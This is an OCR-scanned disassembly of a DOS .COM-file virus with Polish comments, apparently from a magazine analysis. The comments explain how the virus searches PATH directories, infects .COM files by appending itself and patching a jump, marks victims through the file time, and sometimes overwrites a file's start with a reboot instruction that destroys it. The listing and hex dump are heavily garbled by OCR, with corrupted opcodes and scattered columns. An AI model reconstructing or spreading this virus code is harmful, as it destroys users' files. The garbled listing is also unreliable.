. ; DOS
aCgd: 0121 CDhat int 21 ;
2C8C: 0123 3C00 cmp al,00 ;Jezli za stary
2CaC: 0leg 7803 Canz 0124 ; (1. xxd to
2C8C: 0127 ESC701 . Jmp O2F1 ;hie bawi sie.
2C9C: 012A OB . push es .
2C8C: O12B  B42F mowv ah, 2F ; Odezytuje adres
2C8C: 012D Chat int 21 ;oryginalny DTA
2CaC: 012F 893C0000 mowv {s1+00001, bx ;1 zapamietuje.
2C8C: 013 8C840200 nov [s1+00021,es
aCoC: 0137 07 pop es

»
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2C9C: 0138 BABFQO mowv dx, OOBF ; Ustanowi wiasny

~CaC: 0138 80 nop ;adres DTA

2C8C: 013C 0306 : add dx, si ;na potrzeby

a2C8C: O13E B41A mow ah,1a ;swoich transmisji

2CaC: 0140 Chal int 21 ;dyskowych.

2C8C: OL42 08 push es

2CgC: 0143 Be push si

2CaC: 0144 SROBZ2CO0 mowv es, [ 002C] ; Pobiera adres

2CoC: 0148  BFOOOO mowv di, 0000  Segmentu

2C8C: 014B SR pPop si ; DOS environment, tw

2C9C: 0L4C &8 push si ;Jest m.in. informacj.

2CaC: 014D 81C81A00 add 51,001A ;o sSciezkach dostepu

2C9C: 0181 AU lodsb _ ; Poszukuje tancucha

2C9C: 0182  BYOCLUSO mov cx, 8000 ; PATH= '

2C38C: 0185 F2AE repnz scasb ; w DOS environment

2CaC: 0187 'BRO400 mov cx, 0004

QC9C: O1B8A AC lodsb

aC8c: O1ER AR scasb

2C8C: 018C 7BED Jnz 014B

cC8C: O1BE  Ez2rFA loop , O18BA ;

2C8C: 0160 &R pop . si ;Znalazi, teraz bedz’

2Cac: ¢lel o7 pep i es ;koleine pozycje X

) ’ ; wykazu -

2C3C: 01682 89BC1600 mowv [si+00161,d1 ;traktowad jako 3
;kartoteki

20O OL6E 8RRk mov di,s1 ; Przeznaczone

2CEC: 01688 B81C7TLEOO add di,O01F ;do “zarazenia',

2090 O18C gSBLE mov bx,si

2C9C: O16E  81CB81F00 add si,O01F

2C8C: 0172 8BFE mowv di,si ;Zacznie jednak od

2C8C: 0174  EB3A Jmps 01BO ;kartoteki biezacej. '

2C8C: 0176  83BC160000 N_KAR: cmp w, {s1+0016]1,+00 ;Doszedi do korca PA{

2C8C: 017 7803 Janz 0180 ;Jjesli dotad nie «
;zrobik 8

2C8C: 17D ES8301 Jmp O=2E3 ; 3wego, Lo rezygnujef

2C8C: 0180 iR push ds ;

2C8C: 0181 ©B6 push si ' N

2C8C: 0182 2E8E1E2C00 mowv ds,es: {002C] ; Czyta kolejne bajty:

2CeC: 0187 SBFE mov di,si ;listy PATH z DOS en!.

2C9C: 0189  268BRE1£00 mov si,es: (di+0016] K

2C2C: O18E  81C71F00 add di,O01F ;1 przepisuje do

eC8d: 0192 AC lodsh ; wtasnego obszaru

2CaC: 0183 3C3B ) cmp al,3B 2z do znaku ;

2C3C: 0185 T40A J=z O1A1

20aC: 0197 3C00 cmp al, 00 ;albo bajtu O.

209G 0198 7403 Jj=z O1GE

2Cac: 01s8B AA stosb

aC2C: 019C  EBF4 Jmps o192

aCoC: O18E BEOQOO mov si, 0000

2C8C: 01A1 BB pop bx ; Zapamieta, dokad

2C8C: 01A2 1F pop ds ;doszedl w DOS env

aCOC: O1A3  8YB7IB0O0 mowv [bx+0016] .51 : .

2C9C: O1A7  BO7DFFBC cmp b,[di-011,8C ; Czy jest N\ na koicu.

aC8C: O1ABR 7403 Jz 01BO ) ;opisu kartoteki? :

2C8C: 01.AD BOBC mnov - al,BsC :Jak nie, to

2CaC: O1AF AA stosb ;dopisze.

2C8C: 01BO  89BF1800 mov ( bx+0018],di ; Buduje maske do
;szukania

2CSC: O1B4 BBRC

3y

mov si,bx ;Zbioru, w ktdérym
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200C:
aCgC:
2C3acC:
oCsC:
a9
2CYC:

o1B6
O1BA
o1BD
O1BF
01CH

C1CE

L OLCE
L0107
201

GC: OLCC

cCaU:
2Cac:
2CaC:
2C9C:

2CaC:
2C3C:

2CaC:
2C3C:

2oCec:
2CsU:
2CaC:
2CaC:
2CaC:

2Ced:
2C8C:
2CaC:
2CaC:

2CsC:
28
eCsC:
2CaC:
2C9aC:
2C8C:
2C9C:
2C8C:
208l
2C9C:
2C8C:
2CaC:
2CSHC:
eCeC:
aCed:
2C8C:
2CaC:
2C9C:
2C9C:

5 O1CE

010
o1
01D4
o108

01D8
01DC

O1DE
OLEO

O1lE2
O1Es
O1EA
O1EF
O1lF1

O1LFS
O1FE
C1FA
ClFB

O1FC
Q1FE
0200
0z01
0204
0207
0208
0204
020C
Q210
0213
o217
0214
Oz1iB
021D
OZ1F
ozzz
Ozzs
ozas

2 02e8
: 0224

31 CE1000
BQOS00
F3a4
8BF3
B44k
BA1FOO

90
ozb6s
BRO300
D2l
EBO4

B44fF

‘cbz21

7302
EBSE

2B847500
241F

-

SLBC730000FA

TIES

£2BCT9000A

72DF
BBECLI800

56
81Cs7hou
AC ‘
AA

3CO0
TEFA
BE
B80C043
BA1FOO
80
0306
crel
BUKKOB00
B280143
S1ELFEFF
BA1FOO
90

306
Cozl
B2023D
BA1FOO
Q@0
0ZD6G

Chet
7303

_£BI:

add
mov
repz
mov
mov
mov

nop
add
mov
int.

Jjmps

mov
int
Janec
Jmps

mov
and

cmp
Jz

cmp
Ja
cmp
Jc
mowv

push
add
lodsb
stosb

cmp
Jjnz
pop
moyv
mov
nop
add
int
mov
mowv
and
mov
nop
add
int
mov
mov
nop
add

int
Jnc

)

;wirus

51,0010 ;moZze sie umiedgcid,
cx¢, 0006 ;dodajac do kartotek
movsb ;rancuch "x, COM".
si,bx ; Poszukuje pierwszeg
ah, 4E ;takiego zbioru -
dx, OOLiF ; kandydata na
; 'zarazenie',
dx,s1 ; Dopuszcza zbjory
cx, 0003 ;Hidden i Read-Only.
21 ; . '
O1D4 ; Zobaczmy, co sie
;Ztapato., .
ah, 4F ; Nastepny kandydat =z
21 tej samej kartotekir
c1D8 i Wybrat zbidr!! i

O178CN_KARD ; Wez nastepna
;kartoteke

ax, [s1+00781 ; Tu ma dane o zbiorz’

al,1F ; Czy oznaczony jako
; U"zarazony"?
al,1F . ;Jesli tak

O1DOCS_ZBID ;szuka nastepnego
; "zdrowego''.

w, [51i+0078]1, FAQOO

01DOCS_ZBID ;Jesli za duzy

w, [s1+0079],+0A ;lub za maiy
01DOCS_ZBID ;Lo da mu spokdj.

di, {s1i40018] ;Ten zbidér padnie

;ofiara,.

S1 ;Pobiera jego nazwe

si, 007D ;dopisujac do $ciezk -
;dostepu '
;ha obszarze
; Parametrdéw

al,0Co ;dla wywolan

O1iFA ;funkcji DOS.

s1

ax, 4300

dx, O01F

dx,s1 ; Pobiera atrybuty

21 ;Zbiroru - ofiary

{s51+00081,cx 11 zZapisuje.

ax, 4301 ; PFozbawia zbidr

cx, FFFE ;atrybutu Read-Only

dx, OO1F ;0 lle taki byi.

dx,si

21 *

ax, 3D0=2 ; Obwiera zbidr

dx, OOLF ;W tryble Odczyt Zap
;CW sieci zbidr moze

dx,si ;Sie jeszcze obronié
; trybem

21 ;dostepu ' D

O22F ;Jesli otwarcie

; nieudane

2
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2C9C:
2CaC:
2C9C:
2C8C:
2C9C:
2C3C:
2C8C:
2CaC:

2CsC:
2Cac:

2Cadc:

2C8C:
2CaC:
2C3aC:

2CoC:
2C8C:
=C3C:
aCac:

2CaC:
2C8C:
2oCac:

2Cad:

2CoC:
2Cs8C:
2CoC:

2C3C:

=2C9C:
2CacC:
2C9C:
2CaC:
2C8C:
2CsC:
2C8C:
2Ca:
aCOC:

2C8C:
2CaC:
2CsC:
2C3C:
aC9C:
20C3C:
2Cac:
2CaC:
2CaC:

ozzC
Ozz2F
0z31
0234
0236
023A
023E
0240

o242
02456

o=z4'7

Oz49
024C
OZ24F

oz262
0254
ozBgs
0257

o=8g
0z=sC
OZ8F
0260
oz62
0as4
0266
ozes
O26E
O=BE
0271
o274
0a7e
o778
027 A
ozZ7D
0281

0288
: Q287
5 OReR

0284
o298
(OTSA=Y N
029C
023K
oAl
Oz2A4
O2A7
O2AA

ESAS00
8BDg
BBOOST
cbz1
898C0400
88940600
B4aC
CDz1

8S80OEGO7
7510

B440

BES0O500

‘8BDE

8LCAB8A00

Cbal
EBBS
20

BAZ®

BLO300
BAQAOO
=l

0306
cpbe1l
7285
cibelclele
75850
B80242
BSOOO0O
BAOOOCO
Chz1
7243
8BCe
20300
89840R00
21C1F802
SBFE
S1EFF701
890D

R4 40
Bog202
SRDG

SI1EAFQOL
Chz1
721K
308802
TELA
Ras0042
BSOO0O
BAGOOO
bzl

REPLI:

Jmp
mowv
mov
int
mov
mov
mov
int

and
Jnz

mov

mov
mov
add

int
Jmps
nop
mov

mov
mow
nop
add
.int

© e

cmp
Jnz
mov
mov
mow
int’
je ¥
mov
SUQ
mov
add

MOV

sub

- THOV

nowv
mow
moyw

sub
int
Jje

cmp
Jjnz
mov
mov
mowv
int

o2D4

bx, ax

ax, 5700

21
[s1+00041,cx
[(s£1i+00061]1,dx
ah, 2C

21

dh, 07
O=2B87CREPLID

ah, 40

cx, 000
dx, s1
dx, O0O8A

21
ozBB

ah, 3F

cx, 0003
dx, 000A

dx, sl
21

o2BB
ax, 0003
02BB
ax, 4202
cx, 0000
dx, 0000
21

o2BB
CX,ax
ax, 0003
[si+000E], ax
cx, O2F9
di,si
di,O01F7
{dil,cx

ah, 40
cx, 0288
dx,si

dx, O1F3
21

OzZBEB
ax, 0288
OZ2BEB
ax, 4200
cx, OO0O
dx, 0000
21

;Zrezygnuje i1 skoncz

;Odeczytuje date i cz
;zatozenia zbioru

; 1 zapamietuje.
;Pobiera aktualny cz.
;aby =z .
; prawdopodobienstwem’
;18

;Zrobid

; wieksze fgwinstwo:

; Zapisuje jako
splierwsze

;8 bajtdw zbioru .CO
;rozkaz JMP FOOO: FFF
;czyli reset

; komputera.

;hiszczac bezpowrotn
;poczatek zbioru!

; Bedzie sie
;replikowad. )
;W tym celu odezytuj'™
;poczatkowe 3 bajiy
;Zbioru - ofiary

;1 zZapisuje sobie.

; Kezde niepowodzenie
;spowoduje rezygnac)
;2 dziatania wirusa.'

: Teraz skok

;na koniec zbioru.
; Tam umiesci swdj
;kod 1 swoje dane.

; Dtugosé zbioru
;postuzy do zbudowan
;instrukcji skoku

;2 poczatku zbioru
;do wlasnego kodu.
;Oblicza tez adres
iprzysziego obszaru -
; danych.

; 'Zarazony' zbidr
;bedzie .
diuzszy o 2FSh

sbajtdow.

; Teraz kopiuje Lo
;wszystko .
;do zbioru - ofiary.
; Rezygnuje, gdy

;cokolwiek nie wyszi'.

s Wraca na poczatek
;Zbioru - ofiary,
;aby dopisad 3
;skonstruowana juz

S
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2C9C:
acac:
aCsC:
2C8C:
2CaC:
s

PAUE O

2CeC:

ATV
QO

A
i

o

2C38C:
2C8C:
2C8C:
2C8C:
2C9C:
2C8C:
209C:
2C8C:
2CaC:
2C3C:
2CaC:
aCec:
=2CAaAc:
cCad:
aCad:
acad:
2C3aC:
2Ce:
2CaC:
2C8C:
2CaC:
2Csd:
2CeC:
2CaC:

aC8C:

2Coc:
2CaC:
2C8C:
2C3C:
2C9aC:
2CeC:
2CsC:
2CaC:
2Cad:
2Cyc:

Ce
C

OzAaC 720D Jc 0Oz2BB
OcAR  B440 mov ah, 40
GeBO BY0300 mowv cx, 0003
02R3 2BDS mowv dx,si
O2Bs 81C20Do0 add dx, 000D
CeBg CD21 int 21
Qebl 2BY940600 mowv dx, [ s1+00061
OSRE «lisC0400 mov cx, [81+00041]
O3 SIELEQFRF and ox, FFEO
:02CY S1C8LF00 or cx, Q01K
02CBE  B8SO1E7 moy ax, 8701
O2CE ¢CD21 int 21
02RO T B43E mow ah,3E
Ozbz  Cbat int 21
02D4 Bs0143 mowv ax, 4301
o2D7 eBsC0o800 mowv cx, [si+00081]
02DB  RBAIFOO mov dx, OO1F
O2DE 30 nop
o2DF 03De add dx,si

O2ZE1  CD&atr int 21
OZ2E3 1E push ds
QO2E4 B41A nowv ah, 1A
OZE6 8B340000 mowv dx, [ si1i+0000]
OZEA  BEC0O200 mov ds, {s1+00021]
O2EE  CDhat int 21

OZ2F0 1F pop ds

O2F1L B3 pop cx

OzZFz  33CO xor ax,ax
O2F4  3Z3DB HOor bx, bx

O2Fs 33Dz xor dx,dx

OZF8 23F6 xor s1,si

O2FA  BFOOO1 mov di, 0100

OcFD  B7 push di

OFFE 33IF XOr di,di

Q300 CAFFFF ret FFFF

Obszar danych "wirusa':

0300 80 00 96 2C 18-68 84 11 20 00 80
0310 ES 07 00 2A ZE 43 4F 4D-00 1C 00 22 03 BO
0320 48 3ZD'B7 48 B2 BB 83 2E-42 4F 4D 00 4D 00
0330 * 00 2E 43 4F 4D GO 00 4F-4D 00 20 20 20 &0
0240 20 20 20 20 20 20 20 20-20 20 20 20 20 20
0350 20 20 20 20 20 20 20 20-20 20 20 20 20-20
0360 20 20 03 3F 3F 3F 3F 3F-3F 3F 3F 43 4F 4D
0270 00O BE OB 00 00 00 00 20-19 B5 84 11 0OA 0O
0380 &7 49 £E2 BE B3 2E 43 4F-4D 00 00 4D 00 EA
0390 00 FO

W tym przypadku adresem bazowym obszaru

;anstirukcje skoku dd
; witasnego kodu.

; To uszkodzenie zbio
; jest odwracalne, bo
ipoczatkowe 2 bajty
;S8 Zapisane w
;Obszarze danych.

; Teraz przywrdci dat
;1 czas zatozenia
;zbioru,

;ale zostawi znaczna
;W postacr czasu
;Besek.

;Jest to jego znaczn
; 'Zarazenia' zbioru.
; Zbidr spreparowany
; — zamykamy.
;Zostato jeszcoze
;przywrédcenie
;oryginalnych
;atrybutdw zbioru,
;Czmienionych, by

; pokonad¢ Read_OnlyD.

;Przywraca zastany
;adres DTA (bufora
;transmisjyr dyskowyc

;1 zawartogd CX.
;Rejestry zeruje

;a na stos odkiada
;adres 100h.

; Teraz oddaje -
;sterowanie

; programowl -
;hosicielowl

;ale dlaczego stos
;zafatszowal

o 1 bajt ?

»

80 80
41 ©4
4F 4D
20 20
20 20
20 20
03 46
00 00
FO FF

wirusa

« 2B

Jest



-h

aC8C: 0303.
0000,
Q04
0008,
OGOO0A.

O00D.
0010.
0016, .
0018,
OO1A.

. 0003
. QOOO7
. 0003
. O00OC

. OOOW
. 0015

0017

. 0019
.O01E

OO1F. ..
QOBF. . .
007D, ..

0084. -

Wzgledem tego adresu wirus rozmieszcza swoje dane:

oryginalny [DTA

data 1 czas zatozenia zbioru — ofiary

atrybuty zbioru - ofiary

poczatkowe 3 bajty ofiary, dzieki temu zbidr
mozZna naprawid

tu buduje Zbajtowy rozkaz skoku do swojego kodu
wzorzec . COM dla poszukiwania ofiary w kartotece
znaczniki operacji tancuchowych - skad czyta

1 dokad kopiuje

wzorzec PATH= dla odszukania aktywnych

Sciezek w DOS environment

obszar fancucha ASCIIZ - parametru funkcji DOS
bufor wiasnych operacji dyskowych, w tym

nazwa zbioru - ofiary

rozkaz JMP FOOO: FFFO, ktdéry umieszcza raz na 8 ofiar

22 ﬂ/j
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